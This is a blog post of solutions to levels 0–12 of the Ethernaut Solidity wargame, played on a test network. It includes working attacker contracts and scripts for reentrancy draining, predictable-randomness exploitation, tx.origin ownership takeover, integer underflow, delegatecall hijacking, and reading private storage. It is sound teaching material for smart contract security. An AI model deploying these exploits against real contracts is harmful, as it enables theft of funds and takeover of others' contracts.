Introduction#

Ethernaut is a Web3/Solidity based wargame inspired on overthewire.org . Its main purpose is to teach the intricacies of Ethereum smart contracts by solving increasingly diffucult hacking challanges. In this blogpost, I’m publishing my solutions to the ones I solved.

Ethernaut Level 0 — Tutorial#

After setting up the MetaMask Add-On and getting some ETH on the Rinkeby test network, I can start playing. The starting tip for the level states:

Look into the level’s info method

contract.info()

Opening a browser allowes me to run this method:

> await contract.info()
‘You will find what you need in info1().’

So, I call the info1 method:

>await contract.info1()
'Try info2(), but with "hello" as a parameter.'

So, again let’s run the info2:

> await contract.info2('hello')
'The property infoNum holds the number of the next info method to call.'

This time, let’s check the value infoNum:

(await contract.infoNum()).toString()
'42'

Time for info42:

await contract.info42()
'theMethodName is the name of the next method.'

It’s getting ridiculous, but let’s play their game:

await contract.theMethodName()
'The method name is method7123949.'
await contract.method7123949()
'If you know the password, submit it to authenticate().'

Finally something substantial! I decide to look at contracts ABI(in hindsight should have done it earlier, maybe It’d allow me skip some of the info methods trolling):

> contract
// skipped for brevity
password: ƒ ()
// more methods

Let’s check the password:

await contract.password()
'ethernaut0'

Time to solve the tutorial:

await contract.authenticate('ethernaut0')
e4e9b69aea3571538dca60595571493ed3b7d30d.js:1 ⛏️ Sent transaction ⛏ https://rinkeby.etherscan.io/tx/0xfa2190e9ce6fdf28bc3616a54b4836fdf67c1032d0b391193d22741a7fc7f22d
e4e9b69aea3571538dca60595571493ed3b7d30d.js:1 ⛏️ Mined transaction ⛏ 

After clicking the “Submit instance” button, I get a “Level Complete” confirmation, after the request mines.

Ethernaut Level 1 — Fallback#

The challenge informs me that:

Look carefully at the contract's code below.

Below, I get a full code of the Contract. There are two interesting functions. The main one seems to be the contribute function:

function contribute() public payable {
  require(msg.value < 0.001 ether);
  contributions[msg.sender] += msg.value;
  if(contributions[msg.sender] > contributions[owner]) {
    owner = msg.sender;
  }
}

The function allows to take over the account, but only if the sender’s contributions exceed current owner’s contributions. That wouldn’t be easy, since the amount of owner’s contribution are set to 1k Ether on construction:

constructor() public {
  owner = msg.sender;
  contributions[msg.sender] = 1000 * (1 ether);
}

Fortunately, there’s also a fallback receive function (which will be called upon sending ether to the contract without calling any methods) . This one gives the ownership to the sender in case they have contributed anything at all in the past. So no need to beat the 1k Ether owner contribution:

https://gist.github.com/tellico-lungrevink/2fd14b075f222366a563227ae9f8ef64

So it turns out, that I need to only contribute the smallest possible amount, and the the fallback receive function will set me as an owner. Then I’ll be able to clear the Smart Contrat’s balance with the withdraw function:

await contract.contribute({value:1});
await contract.send(1);
await contract.withdraw();

After submitting those three function, all I need is wait a moment (that’s three separate block needed) . After all three transaction complete, I can submit the solution and go the next level.

Ethernaut Level 2 — Fallout#

The initial info does not reveal much:

Claim ownership of the contract below to complete this level.

The only way to change the state of the owner property, is the contruct itself. But is it really a contructor?

function Fal1out() public payable {
  owner = msg.sender;
  allocations[owner] = msg.value;
}

As it turns out, above function is not a constructor, but a function (public no less) with a 1 (one) instead of an l in the name. Therefore, anyone can call it at anytime:

await contract.Fal1out({value:1})
await contract.collectAllocations();

After two above transaction get mined, I complete the challenge.

Ethernaut Level 3 — Coin Flip#

The initial info clarifies the challenge:

This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you’ll need to use your psychic abilities to guess the correct outcome 10 times in a row.

Then, there’s contract’s code:

pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

The CoinFlip function creates a pseudo-random value which can be either true or false. This value is then compared to the guess supplied by the caller. If the caller was right, the wins counter is incremented.

The problem with this code is, that there are two factors used to generate the pseudo random value: blockValue (which is a number of a current block executing the function) and hardcoded FACTOR. Both of these are predictable, therefore attacker can user them to infer the next “random” value. It can be done by creating the attacker contract:

pragma solidity ^0.8.0;

interface victim{
    function flip(bool _guess) external returns (bool);
}

contract CoinflipAttack {
    address victimAddress = 0x015A4805eab4817C44C49EB8E75d3e2432D32099;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    victim victimInstance;
    uint256 lastHash;

    constructor() {
        victimInstance = victim(victimAddress);
    }

    function attack() public {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        victimInstance.flip(side);
    }
}

As can be seen, attacker contract reimplements the pseudo-random algorithm, and then calls the original one with the predicted value. Since the attacker and victim will be executed on the same block, the attacker contract will alway guess right the flip.

Note: if you copy above code, remember to change the victimAddress to your own instance of CoinFlip. You can get this address by running contract.address in the Ethernaut console.

After running the attack function 10 times , I can submit the instance and complete the challenge.

Ethernaut Level 4 — Telephone#

The initial info does not reveal much:

Claim ownership of the contract below to complete this level.

This time the code is really short:

pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

A caller can set the owner to an arbitrary address, provided that the tx.origin is different than msg. sender. Tx .sender is a property with an address of the orignal caller, while msg.sender is an address of the direct caller of the function. Any time a contract calls other contract, tx.sender will become different that the msg.sender for all functions down the line of calls. The following contract will solve the challenge:

pragma solidity ^0.8.0;

interface victim{
    function changeOwner(address _owner) external;
}

contract TelephoneAttack {
    address victimAddress = 0x0Fa53F2D081ED5723f087A336834938D344FF917;
    victim victimInstance;

    constructor() {
        victimInstance = victim(victimAddress);
    }

    function attack() public {
        victimInstance.changeOwner(msg.sender);
    }
}

After deploying the attacker contract and running the attack function, the attack caller will become the owner of the Telephone contract. After that I can submit the instance and win the challenge.

Ethernaut Level 5 — Token#

The initial info challenges me to somehow multiply the starting token amount I am given:

The goal of this level is for you to hack the basic token contract below.

The most interesting part of the code is the transfer function::

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

Above function is vulnerable to the arithmetic underflow. In the older versions of Solidity, there were no implicit check for arithmetic over and under flows. As an effect, if one subtracted a bigger value from a smaller one for an unsigned type, the result was a very big number, because the result would flip to the given type’s max value. In this case, if an attacker tries to transfer a value bigger than their balance, the result will be a very big number in their balance. It’ll surely pass the ≥ 0 check and then it’ll be stored as a new balance after the operation. Therefore, all I need to do, is to transfer the amount of tokens slightly bigger than my initial balance:

> (await contract.balanceOf(player)).toString()
'20'
> await contract.transfer(contract.address, 21)
{tx: '0xd0254a0e2b93d53c18eb4592f7c99ce21da533f8b409b80678f133298c197c59', receipt: {…}, logs: Array(0)}
> (await contract.balanceOf(player)).toString()
'115792089237316195423570985008687907853269984665640564039457584007913129639935'

As can be seen above, overdrawing player’s balance caused the balance counter to underflow and gave me very high number of tokens. All that’s left to do is to submit the instance and claim the win.

Ethernaut Level 6 — Delegation#

The challenge description states:

The goal of this level is for you to claim ownership of the instance you are given.
Things that might help
- Look into Solidity’s documentation on the delegatecall low level function, how it works, how it can be used to delegate  operations to on-chain libraries, and what implications it has on  execution scope.
- Fallback methods

The description heavily hints what needs to be done. Let’s look at the code. There are two contracts: delegation and delegate . The delegation is the one deployed and contains a delegatecall in the fallback function. The delegatecall is unsafe, because because is called for user-suppplied data (from msg.data ):

contract Delegation {

  address public owner;
  Delegate delegate;

  //skipped for brevity

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data); //!!!
    if (result) {
      this;
    }
  }
}

A contract which is a target of the delegatecall is called delegate . It contains a funtion named pwn , which sets the contract owner to a current sender. What’s important, its owner property is at the same position, as the same property in the delegation contract.

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

As it turns out, when the delegatecall is run, it modifies caller’s data, not callee’s. In this case, the delegation contract running the delegate’s pwn function, will set it’s own owner to a sender. Which is all the attacker needs!

How to do it in practice? First I’ll need a 4-byte function call hash:

> callHash = web3.eth.abi.encodeFunctionCall({name:”pwn”, type: “function”, inputs:[]},[])

Now I need to send a transaction to the delegation contract to force the fallback call. The call data will be the callHash I’ve calculated above to trigger the pwn function:

> await web3.eth.sendTransaction({"to": instance, "from": player, "data": callHash})

That’s it! The contract has been take over, and the challenge can be submitted.

Ethernaut Level 7— Force#

The description

Some contracts will simply not take your money ¯\_(ツ)_/¯

There are also some simple tips, but they’re not needed. The contract itself is empty. As it doesn’t have a payable receive nor fallback function, regular ether transfer will fail.

There is one method to bypass it though. Any contract can call selfdestruct on itself. When self-destructing, a contracts sends it’s entire balance to an address supplied as an argument. The self-destruct “payment” does not call any payable functions, and therefore will always succced.

The following attacker contract will solve the challenge:

pragma solidity ^0.8.0;

contract ForceAttack {

    function attack() public payable {
        address payable addr = payable(0x00aafBF14fb093ad1D837220E64DC476bEc1d656);
        selfdestruct(addr);
    }
}

Above contract is very simple. It only contains a hardcoded address of an instance of the challenge. When the attack function is called, the contract will self destruct forcing it’s balance to the victim.

When running the attack it’s important to remember to transfer some ether the the ForceAttack contract, so it has funds to force on the victim. In Remix I’ll deploy and call attack using the following script:

import { deploy } from './ethers-lib'

(async () => {
    try {
        const result = await deploy('ForceAttack', []);
        const contract = await result.deployed();
        let response = await contract.attack({'value': 1});
        console.log(response);
    } catch (e) {
        console.log(e.message)
    }
  })();
  

After these transactions go through, the victim’s balance should be non-zero. I can submit and solve the challenge.

The key takeaway here is that one should never rely on checking smart contract’s balance ( address(this).balance ), as it can be forcibly increased outside of it’s logic and state management.

Ethernaut Level 8 — Vault#

The Ethernaut is a Web3/Solidity based wargame inspired on overthewire.org . Here’s the solution to the Level 8— Vault.

The challenge is simple:

Unlock the vault to pass the level!

The Vault is a simple contract that is locked by a password. The password is stored in a private variable password .

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

It’s important to remember that all information on blockchain is public. Private vs public variables are useful for programmers to keep the code clean and implement programming paradigms like encapsulation, but do not provide information security. Private variables values can be read by anyone on blockchain.

How to do it? There are a number of ways. For one, I could go on the Etherscan and find the construction transaction and extract the password from there. The simplest method though should be using the Web3 JS client, namely the getStorageAt function. The function takes two arguments: the target contract’s address and the slot number. The contract’s variables are kept in 32 bytes slots in the blockchain memory. Since password is a second property declared, it’ll have index 1 (they’re indexed from 0):

> await web3.eth.getStorageAt(contract.address, 1)
'0x412076657279207374726f6e67207365637265742070617373776f7264203a29'

Now that we have our password, we can unlock the vault and submit the challenge:

> await contract.unlock("0x412076657279207374726f6e67207365637265742070617373776f7264203a29")

That’s it! The main lesson here is simple: do not store any secrets on blockchain. Anything stored on blockchain is a public information, even in private variables.

Ethernaut Level 9 — King#

Initial description:

The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD
Such a fun game. Your goal is to break it.

So my task is prevent the next player from becoming the next king. Let’s look at the target contract:

contract King {

  address payable king;
  uint public prize;
  address payable public owner;
  
  //skipped

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }
  
  //skipped
  
}

As can be seen, the receive function calls transfer to give the prize to the “abdicating” king. On Ethereum blockchain every contract can refuse to receive the funds (with the exception of funds coming from the selfdestructing contracts) . So, if I’ll create a contract that rejects any payments, it’ll always make the receive function to fail and therefore will be a king forever. An example attacking contract may look like the following:

pragma solidity ^0.6.0;


contract KingAttack {
    address payable public target;

    constructor () public {
        target = payable(0x50EE58B3A9c0e861C290e16e8eF58Eafc551869f);
    }

    function attack() public payable {
        target.call.value(msg.value)("");
    }

    fallback () external payable {
        require(false, "I am the King");  
    }
}

The attack can be run using a JS script:

import { deploy } from './ethers-lib'

(async () => {
    try {
        const result = await deploy('KingAttack', []);
        const contract = await result.deployed();
        let response = await contract.attack({'value': 1100000000000000, "gasLimit": 2650000});
        console.log(response);
    } catch (e) {
        console.log("ERROR")
        console.log(e.message)
    }
  })();

That’s it, after the transactions go through, there is no way to become a next king, since the prize payment will always fail. I can submit the challenge.

Ethernaut Level 10 — Reentrancy#

Initial description:

The goal of this level is for you to steal all the funds from the contract.
Things that might help:

The name of the challenge basically gives away the solution. The contract’s withdraw method is a classic example of a reentrancy vulnerability:

contract Reentrance {
  
//...

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }
//...
}

The vulnerability exists, because everytime a contract transfers ether to another contract, it gives away the control to recipient for a moment to call the receive or fallback function. An attacker can use that moment to call withdraw again. If recipient’s balance is not updated before actually transferring the funds, the withdraw will be called in a loop, until it drains all the ether from victim’s account.

Example of an attacker contract can be found below:

pragma solidity ^0.6.0;

interface Reentrance {
    function donate(address _to) external payable;
    function withdraw(uint _amount) external;
}

contract AttackReentrancy {
    address victimAddress = 0x1857FD70307BFe3130875638bf9294ECC13048e4;
    Reentrance reentranceInstance;

    constructor() public {
        reentranceInstance=Reentrance(victimAddress);
    }

    function attack() public payable {
        reentranceInstance.donate{value: 1000000000000000}(address(this));

        reentranceInstance.withdraw(1000000000000000);
    }

    fallback () external payable {
        reentranceInstance.withdraw(1000000000000000);
    }
}

After compiling above contract, it can be deployed and called using the usual script:

import { deploy } from './ethers-lib'

(async () => {
    try {
        const result = await deploy('AttackReentrancy', []);
        const contract = await result.deployed();
        let response = await contract.attack({'value': 1000000000000000, "gasLimit": 2650000});
        console.log(response);
    } catch (e) {
        console.log("ERROR")
        console.log(e.message)
    }
  })();
  

That’s all. Above contract will drain all the ether from the victim. After that I can submit the challenge.

Ethernaut Level 11 — Elevator#

Initial description:

This elevator won't let you reach the top of your building. Right?

The target is the elevator contract with a goTo function:

pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

The elevator checks if the requested floor is the top floor. If it is, it does not perform the “ride”. If it’s not, it will perform the ride and it will check again if the floor is the last one and store this information in the contract.

Since the isTheLastFloor function called from the sender contract (line 13), we can create the contract, that alternates the result of the isTheLastFloor function. This way, it’ll enter the if clause, but then it’ll store the information that the request floor is the last one.

The attacker contract can be found below:

interface Elevator {
    function goTo(uint _floor) external;
}

contract ElevatorAttack {
    address victimAddress = 0x983855409B552Df80A719F477bCac44C68b681E6;
    bool alreadyInIf = true;
    Elevator elevatorInstance;

    constructor() public {
        elevatorInstance=Elevator(victimAddress);
    }

    function attack() public payable {
        elevatorInstance.goTo(3);
    }

    function isLastFloor(uint) external returns (bool){
        alreadyInIf = !alreadyInIf;
        return alreadyInIf;
    }
}

Usual script will call the attack:

import { deploy } from './ethers-lib'

(async () => {
    try {
        const result = await deploy('ElevatorAttack', []);
        const contract = await result.deployed();
        let response = await contract.attack();
        console.log(response);
    } catch (e) {
        console.log("ERROR")
        console.log(e.message)
    }
  })();
  

After running the attacker contract, I can verify, that the elevator has indeed has “stopped” on the “last floor”:

> await web3.eth.getStorageAt(contract.address, 0)
'0x0000000000000000000000000000000000000000000000000000000000000001'

All that’s left is to submit the instance.

Ethernaut Level 12 — Privacy#

The level introduction states:

The creator of this contract was careful enough to protect the sensitive areas of its storage.
Unlock this contract to beat the level.
Things that might help:
- Understanding how storage works
- Understanding how parameter parsing works
- Understanding how casting works

This time we are given only a part of the contract:

pragma solidity ^0.6.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...
  */
}

Similarly to the Vault level we have an instance of storing the unlock secret on the blockchain. As the blockchain is a public ledger, no secret can really stay a secret here. Here, the user-supplied data is compared to the element indexed 2 in the data array. Contrary to the Vault level though here’s a couple of additional things going on.

First, how to read the data array? Ethereum Virtual Machine (EVM) stores the state in 32 bytes slots. If a variable takes less space than 32 bytes it will be stacked with its neighbors into one slot. Static length array is stored in consecutive slots. So let’s count the slots: locked variable is in the slot 0 (yeah, booleans are padded to entire 32 byte slots), variable id takes entire slot 1, flattening , denomination and awkwardness are short integers stacked together into slot 2, so the data array starts in the slot 3. We are interested in the index 2 of this array, so we need the value from the slot 5.

The following command can read the value from this slot:

> await web3.eth.getStorageAt(contract.address, 5)
'0xe79163a8fa507fab123fc37fde708bd362aeced7a4be6dda8b3ccdc163f02c5c'

That’s not the end though. The unlock function receives a bytes16 argument, but the data[2] is bytes32. Data[2] is casted to bytes16 before comparison. During the cast, the more significant bytes are used, while less significant ones are discarded. Therefore, we need to take only first half of the read number:

> let data = await web3.eth.getStorageAt(contract.address, 5)
> data.slice(2).substring(0,32)
'e79163a8fa507fab123fc37fde708bd3'
> await contract.unlock('0xe79163a8fa507fab123fc37fde708bd3')

After running the unlock function with the retrieved value, the contract will unlock. We can submit the challenge.